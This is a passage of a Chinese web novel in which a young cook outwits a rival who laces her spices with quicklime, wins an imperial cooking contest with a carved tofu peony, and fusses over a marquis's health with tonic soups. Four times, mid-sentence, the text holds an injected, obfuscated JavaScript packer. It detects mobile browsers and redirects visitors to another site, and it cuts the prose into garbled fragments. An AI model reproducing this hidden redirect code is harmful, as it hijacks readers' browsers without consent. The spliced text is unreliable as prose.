“欸，许是先前忙活惯了，这一下子突然闲下来，倒还真不大习惯。”如今珍味铺中的事务全由喜鱼揽了去，她几乎不必操心。至于为客人烹菜方面，她那小徒弟糍儿学得颇快，大多时候只消她在一旁看看、略略点拨便好。 郭栗祥听罢，乐呵呵地摇头：“年轻人，莫总想着要自己忙起来，你今后的日子还长得很呢，还怕没得忙么？” 他边说着，又揩一把汗，抬眼间，透过支摘窗瞧见院中有个人影气势汹汹地冲来。 “欸呀呀，这小姑奶奶怎地来了？” 薛荔偏头一瞧，原是齐悦气冲冲地奔来。 “大事不好了！” “谁惹恼咱家的小娘子啦？”她磕着甜瓜子侃言。 “哎呀！我可不是来同你玩笑的！”齐悦气急，蹙着眉，衣袂一挥，“阿荔！你知不知道，你要入宫同京城名厨比试了！” “？”薛荔维持着嗑瓜子的动作，神情茫然，好一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852179|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿过去，方回过神来，瞪大双眸指了指自己，“我吗？” “你，就是你！”齐悦斩钉截铁。 郭栗祥好奇地将半个身子探出支摘窗问：“这是怎地一回事？” “还不是那小人邓侨！”一谈起他，齐悦便气不忿儿，“他爹巴不得拖我阿兄下水，他自己也阴险，偏要在官家跟前找事，明摆着欲看阿兄出丑！” “什么叫看你阿兄出丑？”薛荔“噌”地从凳子上站起来，猛不丁撞着郭栗祥的鼻子，疼得后者捂着鼻子缩回身，“诶哟”直叫唤。 她一面安抚地拍了拍郭栗祥的肩，一面不服气道：“凭我这手艺，怎会丢侯府的脸？” “可那比试是在宫里啊。”齐悦不免气馁，“官家正筹办御宴接待使臣，邓尚书推举了一位京城名厨同尚食局一并负责，事情本就此落定，可偏生那邓侨提及你。” “我跟他素不相识，他提我作甚？”薛荔皱眉。 齐悦狐疑地眯起眼，弯着腰凑到她脸前，仔细打量着她道：“薛小荔，你是真不知，还是假不知啊？” “知之为知之，不知自然为不知了。” 齐悦见她一副真不知何事发生的模样，故作叹息道：“那邓侨不知从何处听来的风言风语，说我阿兄深深地爱着府中的一位厨娘，请人到府中，却又不舍得让佳人辛劳下厨，似尊瑶池仙子般好生照料着，还为此拂了兵部侍郎嫡女季琉珠的面子。” 薛荔愕然。这……都哪儿跟哪儿啊？ “总之，那邓侨认定阿兄爱慕之人就是你，仗着自己??光禄寺丞的身份，眼下已在官家跟前刻意为你美言，要你同另一位京城名厨比试一番，看谁有本事筹备御宴。” “你阿兄就没半分推辞？” 齐悦摊开手掌：“余下的事我便不知了，我只听见这么多消息，再怎么说也是够全面的了吧。” 薛荔只觉头一阵晕，忍不住揉额。这世道怎会如此抓马？ 偏偏说曹操曹操到，再一睁眼，她便见院门外云冯已来了，心底顿时升起一股不好的预感。 “薛小娘子，侯爷派我来接您进宫。”云冯站定在她面前道。 “这、这般快？就在现在？”薛荔不敢置信。 “御宴在即，官家下令今日便要定下帮厨。侯爷对您可是信心十足呢！”方说罢，云冯便推着她往外走，将人送上了马车。 - 一路上，薛荔都在懊悔。 她怎就没再多挣扎几下呢？ 这场厨艺比试，表面上是御宴之争，实则却是齐恂同户部尚书一派的暗中角力，她一个厨娘被卷入其中，若稍有不慎，怕是连脑袋都难保。 下了马车，薛荔便被领进尚食局。 她头回进宫，正目不暇接地好奇打量着周遭的玉楼金阙，而身旁云冯呶呶不休地为她打气：“各类食材及香料都已派人备妥，你只要比照着平常的状态做，不必紧张，准保能行！” 话是安抚宽慰的话，可那语气却显得比她还急。薛荔不由得摇了摇头，心中腹诽，也不知齐恂是如何想的，怎会让她来参与比试。 “那人便是邓侨么？”似乎有人正盯着自己，她眸光流转，循着感觉望去，落定在不远处屋檐下的那人脸上。 43. 侯爷意中人 “正是。其父乃户部尚书，而他如今乃??光禄寺丞，专负责宫廷膳食的管理。”云冯答道。 哦，原是如此。 薛荔将那男子仔细打量一番。只见他头顶黑色直角幞头，身着一袭挺括的天青圆领襕衫，眼睛细长而微微上扬。盯着人看时，瞳仁幽深不见底，却又噙着一抹似有若无的笑。 活脱脱一位凤目疏眉的郎君。倒教人无端联想起来，话本里专骗闺秀佳人魂魄的画皮妖。怪不得从前齐悦对他心悦不已。 “想必，这位便是鼎鼎有名的薛厨娘了。”邓侨拱手笑道。 “‘鼎鼎有名’不敢当，民女不过一无名小卒，何足寺丞挂齿。”薛荔亦客套道。 一旁云冯并不理会此人，只兀自巡视膳房一周，细看食材厨具是否妥当。 邓侨见状，轻哂道：“云近卫何必如此防备？天子脚下，莫敢谁何。” “邓寺丞此言差矣。”云冯冷哼，拎起一只豕腿肉嗅了嗅，确定并无异味才将其放下，“人嘛，自然晓得雷池不可逾越，可某些闻着肉腥，便忘乎其形的狗彘就不一定了。” 空气中隐约弥漫着一股火药味，薛荔只感觉这二人恨不得当下就打起来，忙打圆场：“敢问另一位名厨在何处制膳？” 邓侨这才收回森冷的视线，转身皮笑肉不笑道：“另一位在东膳房中。你二人各自为炊，互不干扰，以一炷香为限，届时膳食一同呈上，由陛下定夺。” 言罢，他还冷冷地盯了云冯一眼：“既无旁事，云近卫便同本官在外等候，莫打搅薛厨娘发挥了。” 二人互不相让地挤推出门去。 线香袅袅燃起，薛荔有些头疼地一览案上琳琅满目的食材。 烹一道什么菜才好呢？ 御膳非寻常饭食，既在宫廷，便是龙肝凤髓，皇帝也不缺吃，她要做道什么菜肴，才能博得新意？ 薛荔眸光流转，扫过一众鸡豚羊牛鱼，终是落在案板上那条鹿肉之上。 她心头微动，忽而忆起《梦溪笔谈》之载，宋时“南人嗜咸，北人嗜甘，鱼蟹加糖蜜，盖便于北俗也”。若要讨得官家满意，自是少不得迎合时人口味，往菜中添些甜意才妥。 但若只有甜味，终显单调腻人，无甚新意。 有了！ 薛荔眼神一亮。 酸甜搭配，下饭开胃！ 她可以取鹿腩肉制一道梅酱渍鹿腩。 二话不多说，她当即便着手处理起鹿肉来。 要不说，天下珍馐，尽聚尚食局呢？鲜鹿肉本就不可多得，况且眼下案板上的还是未及成年的幼鹿，其肉细嫩肥美。恐怕对于任何一位庖厨而言，若能日日在此地烹膳，都是一种难以言喻的享受。 如是羡慕地想着，薛荔毫不拖泥带水地片下携着三成筋的腩肉，逆着纹路将其切成寸方薄块，又取青梅酱、蓼汁与茱萸粉来腌制。 可待她甫一撒上茱萸粉，指尖却忽觉一丝温热。 咦，这肉怎地兀自发起烫来了？ 薛荔愣了楞，又将手贴在那鹿肉上探温，这不探不要紧，一探手心反倒愈发地滚烫灼人起来。 “嘶……”她疼得龇牙咧嘴，连忙缩回手，拿水瓢舀水冲洗。 这分明是烫伤！ 但她又不曾生火，好端端的，怎会凭空被烫伤？ 她强忍着手掌钻心的疼痛，视线落定在那块鹿肉上，只见那肉上竟冒起一层浅浅白雾，静心一听，还隐约伴着“嗤嗤”细响。 这……倒像是起了某种化学反应？ 薛荔眉头紧锁，绞尽脑汁，飞快回忆从前所学的知识，忽而灵光乍现，随即用勺匙翻动起香料罐子检查。 翻了好几罐，果不其然，在盛着茱萸粉的陶罐里寻到了答案。 定睛一瞧，其实不难发觉，暗红褐色的茱萸香料粉中被人掺杂了石灰粉，后者虽被磨得极细腻，可颜色灰白，于见光处一照，仍是能瞧出不对劲的。 只是盛香料的陶罐肚大口窄，罐中光线幽暗，若非有被害妄想症，寻常人哪会怀疑香料被人做了手脚？ 薛荔唇角抿紧，再去瞧案板上的鹿肉时，那肉已是发硬不可食了。 ——这定是邓侨那人的手笔！ 他料定她若要制胜，必不会拣素食，而会选肉膳。 可宋时畜养粗放，公畜腥膻味重，野味更为尤甚。若欲去除腥膻气，便避免不了以茴香、胡椒、茱萸之类的重料腌制。是以他算准这点，派人往香料罐中掺杂石灰粉。 一来，香料陶罐微不起眼，避得开云冯的检查；二来，若腌料中恰巧含水，则石灰猛烈发热，损毁肉质。 更嚇人的是，若腌肉时石灰粉不反应，待到官家夹起鹿肉，送入嘴中，再碰上口中唾液…… 光是想象，薛荔便冷汗涔涔，后脊一阵发凉。 若当真这般不幸，上辈子逝世时，她尚还留有全尸，这辈子只怕是连碎肉末都要无了。 不行，必须另想法子！ 她抬眸望眼熏炉，线香已烧去了半截。 此刻重腌鹿肉，定是来不及的了，只能做一道省时的快手菜了。 她紧抿着双唇，环顾四周，心神急转间，忽瞧见一块四四方方、清清白白之物，眉头倏然舒展。 哼，邓侨那小人不是料定她要做一道“麟肝凤髓”么？ 她偏要反其道而行之。 - 一炷香燃尽，膳房大门一分不差地自外被推开。 “时辰已到，薛厨娘可制好膳了？”邓侨立于门外，睥睨她道。 “那是自然。” 薛荔搁下手中的刻刀，将盛着食物的瓷盏四平八稳地放于宫人捧着的托盘上，面色沉静。 宫人乃邓侨身边的人，此刻借着低首，偷偷瞥了眼她究竟做的是何菜。这不瞧不知道，一瞧，反倒猛地抬头看她。 薛荔神色自若，阖上盏盖，对那人浅浅一笑。 宫人犹豫片刻，只得压下心绪，恭谨退出膳房。 邓侨在门口望见此景，心底亦冒出几分狐疑，寻那宫人确认道：“她做的可是何稀罕珍馐？” 宫人摇摇头，却又略有些迟疑：“启禀寺丞，薛厨娘并未做荤腥之物，碗中的……只是一块豆腐……” “哼，我就知那厨娘是个寡见鲜闻的，宁武侯府的庖厨，能做出什么好东西来？” 邓侨讥笑一声，甩袖扬长而去，全然未察觉被自个儿甩在身后的宫人，脸上那副欲言又止的神情。 - 延和殿内。 官家正与齐恂对坐弈棋。 “朕派与你那厨子，你用着觉得如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856246|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何？近来饮食胃口可有好转？” 齐恂手中棋子一顿，脑海中不受控地浮现出那张明艳俏丽的面庞，嘴上却淡淡道：“谢陛下体贴。那厨娘年纪轻轻，手艺却同先前那些老成庖人差不大离。” “哦？”官家抬眸瞧他一眼，眸底含笑，“如此说来，是那小厨娘手艺无奇了？无妨，此人若不合你心意，改日朕再给你换一个新人。” “陛下不必为臣劳神费力。”齐恂落下一子，“您又不是不知，臣在饮食一事上，向来得过且过，纵是尚食局的名厨入府，臣亦吃不出个所以然。” 官家闻言，忍不住轻笑：“你啊，将人护得这般紧。难得听见你同什么女子走得近些，而今有了，却是一小厨娘！罢了罢了，今日正好，借此机会，也叫我好好见识见识她究竟有何过人之处。” 正说着，殿外内监前来禀告，道是两位厨使??已将膳备妥。 官家将棋子一丢：“那便传膳罢！” 宫人各持菜盘而入，邓侨居中，一一介绍道：“禀陛下，左边这道菜，乃是邓尚书推举的京城名厨所制，名曰‘浑羊殁忽’。宰鹅去毛，撂弃五脏，酿腹以鲜肉及糯米饭，再佐香料腌制调和。而后宰羊一头，剥皮去脏，置鹅于羊腹之中，缝合后架火炙烤，直至全熟后，剖腹弃羊，独取鹅食用。” 说罢，他还得意地扫了眼齐恂：“请陛下、侯爷品鉴。” 整羊庞大，须得两名宫人齐力剖腹，才能取出其中正菜，可被取出的那只鹅又略显秀气，似乎是方成长不久的鹅雏。 宫人将鹅肉片作薄片，呈给二人品尝。 官家尝罢，微微颔首：“羊油浸润鹅肉，非但不腻，反而更显软糯酥烂，不错。” 邓侨扬眉瞬目，正得意间，又见齐恂迟迟不动筷，便阴声问道：“侯爷不尝尝此菜么？陛下都言尚可，想必也是入得了侯爷之口的。” 齐恂不吃他这招：“邓寺丞当真贵人多忘事，本候伤病未愈，须清淡饮食，此等佳肴，只可惜无福消受。” 眼见一拳打在棉花上，邓侨怏怏暗哼一声，不一会儿，又忆起什么似的，转眼间换上另一副笑脸：“既如此，那接下来薛厨娘的菜肴，侯爷定是可以一尝了。” “哦，何出此言？”官家兴致盎然。 邓侨唇角一抿，暗藏几分讥笑：“陛下有所不知，薛厨娘所做之菜不为其他，正是素净淡口之豆腐。” 豆腐？ 齐恂眉梢一挑。 这小狐狸果然又出乎人意料，也不知这回打的是何算盘。 官家则拂须哈哈笑起来：“朕倒亦有许久不曾吃过豆腐了，也罢，呈上来。” 宫人小心地将一只巴掌大的瓷盏端上，碗盖一揭，内物尽显，反倒令官家怔了片刻。 邓侨见状，唇角早早勾起，关切体贴地朝官家道：“此菜可是不合陛下胃口？臣方才就说，见那薛厨娘年纪轻轻，怎会有甚……” “当真乃风致妙品。”官家的眼底迸发出意外之喜，指着碗中之物，传了个眼神给齐恂，“这便是你所说的厨艺‘差不大离’的小娘子？” 齐恂上前俯身一瞧，见盏中之景，亦不由得唇畔浮笑。 唯有邓侨仍一头雾水，不知瓷盏中究竟盛着何物——不就是一块豆腐么，难不成那女人还能给它雕出朵花来？ 44. 秋梨百合汤 官家笑着抬手：“你且来看。” 邓侨急忙忙跨步，凑至碗前，却是双眼睖瞪。 “这……” 这盏中之物哪是一块豆腐？不料，还真被他一语成谶，成了一朵秾华盛放的牡丹花！ 花瓣层叠生姿，花蕊丝丝毕现，脆弱如豆腐，却被雕得宛然如生，这哪是人能雕出来的物什？ 邓侨诧异一抬首，便撞进齐恂意味深长的笑里，心中一凛——这下子，反倒换他讥讽他来了！ “豆腐脆弱易碎，而此人却可将其雕制成一朵栩栩如生的牡丹。”官家沉吟片刻，遣邓侨道，“你去将那薛厨娘请来。” - 对于官家召她前去，薛荔那是一点儿也不意外，反倒是邓侨，咬碎了牙，一路上沉默不语。 不过，她可没忘记他在香料上给她使的绊子。于是乎，故作天真地上前问道：“邓寺丞，不知陛下为何忽而召我前去？” 邓侨艴然不悦，没好气地瞅她一眼，忍不住阴阳怪气：“圣意难揣，你去了不就晓得了？” 薛荔暗笑，煞有其事地“哦”了一声，随他一同入内。 殿内，一身着赭黄色暗纹团龙袍、腰间束金玉带的中年帝王立于高处，斜后方伫立着另一颀长身影，紫袍金带，不是齐恂又是何人？ 他唇畔携笑，正凝眸瞧着她。 薛荔微微屈膝低头：“恭请陛下圣安，侯爷万福金安。” “免礼。”官家方才远远见着，瞧不清她脸，眼下趁她抬首，仔细一瞅，倒还真是张颇为明艳姣美的面孔，再看看身旁装作淡定的齐恂，不由失笑。 “既在宫中比试，理应以奇珍入馔，你却独拣寻常豆腐，是何缘由？”官家好奇。 薛荔盈盈一笑：“其实，民女亦不能免俗。初到尚食局时，民女本打算取鹿肉做一道梅酱渍鹿腩，只是备菜中途，却不得不舍弃这个念头。” “哦？” 身旁，邓侨后背一紧，直渗出一层冷汗，眸光暗地紧盯着薛荔，唯恐她说出些什么惊天动地的话来。 “庖厨比试，是为迎接外朝使臣的御宴而做准备。宴席上烹龙庖凤，款以八珍玉食，固然可扬我国威，彰显我朝之盛。可民女斗胆说一句，再好的水陆之珍、嘉肴美馔，那都只能象征宫廷赫赫繁华，无法呈露万分之一的民间康乐。我朝乃休明盛世，物阜民安，唯有黎庶安居乐业，才会有闲心，将触手可及的食材——豆腐，密致地雕作一朵牡丹花，烹调出幸福的滋味。” “陛下不妨一尝，此菜中的豆腐牡丹虽清淡素口，可盏中的汤底却别有一番滋味。乃以民间最是寻常的竹笋、香蕈、白萝匐及莲子煨制而成，清淡又养生，置于味繁酱厚的御宴菜肴之间，既不失姿形雅趣，亦可使人眼前一亮。” 官家果然生出几分兴味，捻银匙舀取尝了一口，仔细品味，果真赞不绝口：“想不到，你这妮子年纪小小，不但烹得一手好菜，且还如此知悉民生……欸，前段时日，京城粮行私卖陈米一事，揭发之人就是你？” “回陛下，正是民女。” “此事幕后牵连之人不少，你倒是有胆量。” 薛荔不卑不亢：“民女本就是一再寻常不过的商贾，每日做些小本经纪，生活本就不易，若再由这些贩卖陈米之人坑骗，日子岂不更为艰苦？且买米之人并不只民女一人，京城百姓皆有购置，长此以往，陈米危害百姓康健，必伤民心。终了，亦不过是徒增陛下的忧思。” “你倒很是实诚。”官家大笑。 薛荔添道：“天威咫尺，众人心之所思皆难逃圣目，民女又何须虚饰半字？” 齐恂立在一旁，一边听着，一边于心底里失笑。 这小狐狸，拍马屁的功夫得倒是甚可，偏生官家就爱听她这套。 “近来登州大旱，当地民生凋敝，是不该将御宴办得太过奢靡。”官家瞥了眼那道“浑羊殁忽”，“宰羊烤鹅，最终却弃大羊，而只食小鹅，实乃枉费民脂民膏。邓寺丞，你身为??光禄寺丞，怎连这种事情都思虑不周？莫非，近来户部税收充盈了？” 言语直至户部，那便是在敲打邓侨之父、户部之邓尚书了。 “陛下息怒，此事是臣轻虑浅谋，考虑不周！”邓侨战战兢兢，连忙跪地，“薛厨娘才思精巧，手艺不凡，臣……这便着手安排她入尚食局掌厨，准定在御宴前将诸事筹备妥当。” 薛荔瞧他那副落水狗的神情，心底暗自痛快，装模作样地朝他福了一福，柔声道：“那便有劳邓寺丞了。” - 秋雨方歇，侯府内院悄静。 青石阶上落满新湿的桂叶，雨珠顺着脉络蜿蜒滑落，几只麻雀扑棱着翅膀，悠哉抖落细细雨珠，却因一道翘头弓鞋的来临，仓惶振翅飞去。 薛荔本方给老太君乌氏送完膳，正要打道回膳房，却在廊下不经意听见一阵低语。 那声音极轻，似乎是齐恂的。 “太医都言此身病势缠久，愈是虚弱……消息不可外传，便是太母那处，亦不能叫她知晓。”他的嗓音带着一丝喑哑。 “可侯爷……”另一道声音是云冯的，隐忍之中透出几分急切，“药石虽可拖延，但终非长久之策，倘若……” 薛荔听得心口倏地一紧，臂弯里挎着的食盒都险些滑落落。 “行了，先去给太母请安。”后头的话语被齐恂打断。 随之，脚步声由远及近，她屏住呼吸，慌忙退回转角处。 方才那话之意，岂不是说，齐恂已病入膏肓了？ 原来……原来他竟是真的身子骨不好！ 平日里，她只当他为韬光隐晦而装病，如今想来，一切竟全是真的！ 或许，就连他欣然让自己进宫与京城名厨比试，亦是在为她铺路，为的便是日后自己不在时，她可凭借这一份盛誉，将珍味铺好好经营下去。 毕竟，自打她那道“牡丹豆腐”得了官家赞许，京中之人口口相传，近来许多官员时不时便遣派府上小厮至珍味铺中打包膳食，回府享用，美其名曰“一沾天子气”！ 薛荔心头酸胀，说不上是什么滋味。 齐恂啊齐恂，没想到你平日总挂着一张冷脸，可即便自个儿时日不多了，也会替旁人将余生安排得妥妥帖帖，当真叫人感激涕零。 薛荔装模作样地揩了一把并不存在的眼泪，暗下决心。 好！从今往后，在齐恂为数不多的时日里，她一定要好生关照他的胃！ …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16861111|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内院中。 齐恂方给太母乌氏请过安，此刻正端坐一旁，陪她老人家闲话家常。 不知为何，冷不丁便打了个喷嚏。 “嗳，好端端的，这是何人在念你？”太母乌氏含笑瞧着他。 齐恂面色红了红，转瞬若无其事：“孙儿不过是染了些许风寒，祖母莫要侃笑了。” “哪是侃笑？”乌氏笑呵呵，“都道‘寤言不寐，愿言则嚏’，你能打上这个喷嚏，说明同对方心意相通呢。” 齐恂纠正：“您亦说了，‘寤言不寐’，如今还是青天白日。” 乌氏笑而不语，只抬手吩咐下人给他端上一碗热乎乎的秋梨百合汤。 齐恂见自家祖母这般意味深长的笑靥，心中甚是无奈，接过那热梨汤啜饮起来。 原是欲假作久病不愈，疴入膏肓，借此迷眩政敌耳目，不成想，眼下居然真染上风寒，当真好一个秋凉。 - 自打廊下听墙角那日后，薛荔在侯府里便愈发地精神抖擞起来。 每日清晨天光未明，她便与姜喜鱼一同去市集，挑拣最新鲜的鸡鸭鱼虾。大多数是为珍味铺采买，可每每遇着顶好的，总要留那么一两只给齐恂炖补汤喝。 夜里歇下前，她仍不停地琢磨着药膳方子。手中淘来的那几本医食同源的典籍都快被她翻得书页松散。什么黄芪炖乳鸽汤、甲鱼川贝汤、茶树菇老鸭汤……日日换新，叫人眼前一亮复一亮。 只余此事的受益者，亦是受害者——齐恂，不胜其苦。 墨竹堂中。 齐恂垂首翻阅卷宗，忽而听闻门外传来细微脚步声，心头登时一紧。 “不许进。”外头来者还未叩门报上名来呢，他便先发制人，利落地将人拦于门外。复而低下头，继续披览卷宗。 外头静默半晌，才传来云冯甚是无可奈何的哀唤：“侯爷，薛小娘子炖了整整一个时辰才炖好的汤，您不喝也说不过去啊。” 又闻“炖汤”二字，齐恂只觉两侧额角胀得“砰砰”直跳，丢下手中卷宗，抬手揉额，长叹不语。 渐渐地，院外没了动静。 本以为就此逃过一劫，可不成想，支摘窗外忽然探进一个脑袋——正是云冯：“侯爷，您就趁热喝了罢！” “你从这里钻来做什么！”齐恂嚇了一跳。 “这不是有时间限制么。”云冯嘿嘿一笑，举着托盘往他案几上一放，“薛小娘子说了，这汤得趁热喝效果才好！吩咐我看着您喝下呢。” “……还记得自己是谁的近卫？” “云冯当然一心一意跟随侯爷您了！”云冯拍拍胸脯，“可薛小娘子这汤不也是为了您身体着想嘛。而且，逃得过今朝，逃不过明朝，属下方才已见她将后两周的例汤名单，都白纸黑字列出来了。” 齐恂打量他眼，淡淡开口：“几炷香之内喝完，你有点心吃？” 霎时间，气氛静默一瞬，少顷后，云冯讪讪地、嬉皮笑脸地伸出两根手指头：“果然什么都逃不过侯爷的法眼。” “不过侯爷千万莫要有压力，量力而行便好，云冯可舍不得您受苦。” 齐恂冷哼一声，余光扫了眼炖盅：“今日又是什么汤？” 45. 烟笋炒腊肉 见他愿饮，云冯殷勤地揭开盅盖，介绍道：“今日养生例汤——淮山红枣党参虫草石仙桃竹笙熟地猪骨汤！” “七味养生补材，吃到便是赚到！”云冯紧接着将汤匙递到他手上，“侯爷您请！” 齐恂低头望汤，心下暗叹：难为薛荔，将这么多食材药材浓缩进这一小小炖盅之中；也难为云冯，竟能一字不差地将汤名报出。 他反倒真有些好奇，她究竟是许给云冯什么美味的点心，才能叫他如此死心塌地地替自己个儿跑腿。 “她也是胆大，一下子炖这般多药材进去，是怕本候不上火？”齐恂嘴上叨叨，却口嫌体正直地拿过汤匙，舀汤尝了一口。 ……复杂的味道。 他拧了拧眉，适应片刻，又舀起一口饮下。 “薛小娘子说了，侯爷体况一直不见好，或许正是补得不够多。多滋补些，总是不会出错的。” 这是嫌他体虚？齐恂脸色黑了半截。 云冯哪知爱慕期的郎君的敏感小心思？只以为是炖盅寡淡无味，自家侯爷才这副神情，于是咧着嘴，将脑袋探近了些：“若此汤实在不合侯爷胃口，云冯愿替侯爷分担些许。” 毕竟，这炖汤的气味闻起来着实香呢，说不定就合他口味哩？ 话音未落，嬉皮笑脸的云冯便觉一股凉意森森罩来，顿时间敛回笑意，绷住嘴角。 齐恂无言地淡淡盯着他，好一会儿后才收回目光，复而独享起汤来。 这回干脆连汤匙都不用了，索性手捧着盅，仰头喝起来，“咕咚咕咚”几口，悉数饮尽。 云冯瞅着他放下炖盅后取手帕揾拭唇角，好一会儿，脸上都没有一丝表情，又不知缓了有多久，齐恂终于开口，话语幽幽：“去吃你的点心。” 他家侯爷，该不会是吃伤了？ 云冯心中暗道，要他说，这便是芳心为爱。有了对薛小娘子的这份爱意，饶是再难吃的物什，侯爷都能下咽。 他端起木托盘从支摘窗下退出身，末了，忽忆起什么，又折回来问道：“对了侯爷！薛小娘子还问您晚膳想吃什么。有三丝鱼翅、葱烧海参、宫保青虾、山煮羊、稻草东坡肉、蟹粉狮子头、八仙过海闹罗汉……” “朴实无华——朴实无华即可！”齐恂眉心直跳，沉声截断。 这么些天下来，他实是快吃得反胃了。 云冯了然点头，暗暗于心间记下：浑朴接地气嘛！ - 膳房里。 郭栗祥难得闲下来，正要去打口水喝，方走出两步路，便被不明物什绊了一下，扑倒在地。 他吃痛地捂住腚，手下一摸，从屁股下抽出一本药食载籍，再抬眼一望，便瞧见了窝在角落小板凳上，专心致志翻书的薛荔。 “好家伙，你莫不是走火入魔了？这是开饭馆呢，还是开药铺？” “我这不是给侯爷研究食谱嘛。”薛荔未抬头，抬臂一把拽住郭栗祥，拉他坐下，“快帮我参详参详。你说，今日晚膳我是做一道洋参板栗蒸乌鸡好，还是金华火腿煨黄鱼好？” 郭栗祥听了直咂舌：“我是真真佩服你了，反来复去也就鸡鸭鱼豕几种肉食，居然能被你烹出这般多花样来！” “你不懂——”薛荔摇了摇头，无奈低声道。 她没法将那日在乌氏院中听见的对话说出口，只能一人闷在心底，时常觉得堵得慌。 若齐恂真有个三长两短……诶，她虽略通药理，可终究不是医师，眼下能做的，亦就只有这些了。 “薛小娘子，薛小娘子？”云冯推门探头，环顾四周，却见四下空寂，毫无人影。心中正觉纳闷儿呢，忽而角落里窜出一个人头，嚇得他半死。 “怎样！侯爷可全都饮下了？”薛荔“嚯”地冒出头来。 云冯一手托住木盘，一手捂着心口，有种劫后余生之感：“你是从哪儿冒出来的？” “喏，正是这片书堆之中。”郭栗祥苦兮兮地抬手，撑着小板凳颤巍巍地起身。 见她身遭一堆食谱，云冯瞬间忆起来，同她道：“对了，侯爷说，今夜他想吃些简朴接地气的饭菜。” 简朴、接地气？不像他的风格呀…… 薛荔摸了摸下巴，苦思着该要如何接地气才好，眸光流转之间，无意瞅见灶房外熏着的一架子腊肉，眼底登时一亮。 “我知晓该做什么了！”薛荔将早早做好的樱桃毕罗端出来，往云冯怀里一塞，笑也顾不得收，兴冲冲地跑出去了。 她还记得自己儿时，每年过年前，爷爷都会买回十来斤五花肉，亲手熏制柴火腊肉。 买回来的五花肉先要去毛，切成三四指宽的长条，在一头打孔，便于熏肉时悬挂。之后用花椒炒过的盐细细揉抹每一寸肉，摆入盆中，封上保鲜膜，搁在阴凉处腌制几日。 腌制中途也不能闲着，得隔两天翻动一次肉，若肉色仍是亮红的，则要将它往底下放，待到色泽有些泛黄，便是成了。 腌制好的肉需要温水清洗，一是为了把表面多余的盐粒去掉，二是为了日后熏制时，肉不容易沾灰。洗好的肉挂起来风干，若天气晴朗，可多晒两日，这样熏制的时间便能短些；若天气不好，那么把水分晾干后，就可直接拿去熏。 家中是没有熏肉炉子的，但爷爷有他巧法自制的“熏肉炉”——将买洗衣机时外包装的大纸盒子保留下来，剪开侧面，在顶上开两道长口子，横杆一架，腊肉一挂，底下搁一个铁盆盆生火，再将方才剪开的“侧门”阖上，这便开始熏肉了。 熏腊肉时，最好用米糠，还可准备一些松柏叶、橘皮与柚子皮，燃小火慢慢地熏。若是运气好，恰巧碰上五花肉的肥油滴落至火盆里，还可听见“呲啦呲啦”的美妙声响，馋得小孩子们直咽口水。 若之前晾肉时晒得够干的话，只需熏个几日，便可吃上香喷喷的柴火腊肉了。 吃腊肉之前，还得用钢丝球与热水将腊肉刷洗干净，再焯一遍水。如若想做萝卜干炒腊肉，则先将腊肉切片下锅煸出油，都无需额外加盐，只往锅里添入些蒜末、干辣椒、大蒜叶、酱油，下入泡好的萝卜干翻炒，一道巨下饭的菜便就此诞生。 薛荔如今仍记得儿时自己偷菜吃的场景。 凛凛冬日，阴冷的北风在窗外呼啸，冒着腾腾热气与呛人的油烟香气的萝卜干炒腊肉从铁锅中被爷爷铲到碟子里。方一搁上台面，趁着爷爷转身洗锅的功夫，她便偷偷捻起一片腊肉，忙不迭塞进嘴巴里。 经过数日的熏制，大部分肥油都已被烧出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868050|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，口中的那片腊肉或三肥七瘦，肥肉晶莹剔透、肥而不腻，瘦肉肉质紧实、风味十足，细细尝来，齿间竟能咀嚼出柴火的香气。 回忆到这儿，她便觉得心头微热，既暖又甜，连指尖都仿佛染上那柴火腊肉的香气。 侯府膳房里未曾备有萝卜干，她便拿晒好的烟笋干代替。 梆梆硬的笋干放在热水中浸泡，眼下时间来不及，薛荔便烧了一锅滚水将其煮软。 又趁着煮笋干的功夫，她取下一条腊肉，切了半截下来，洗净后入锅焯水，切成薄片。待到烟笋发软，便取出洗净、切丝，沥干备用。 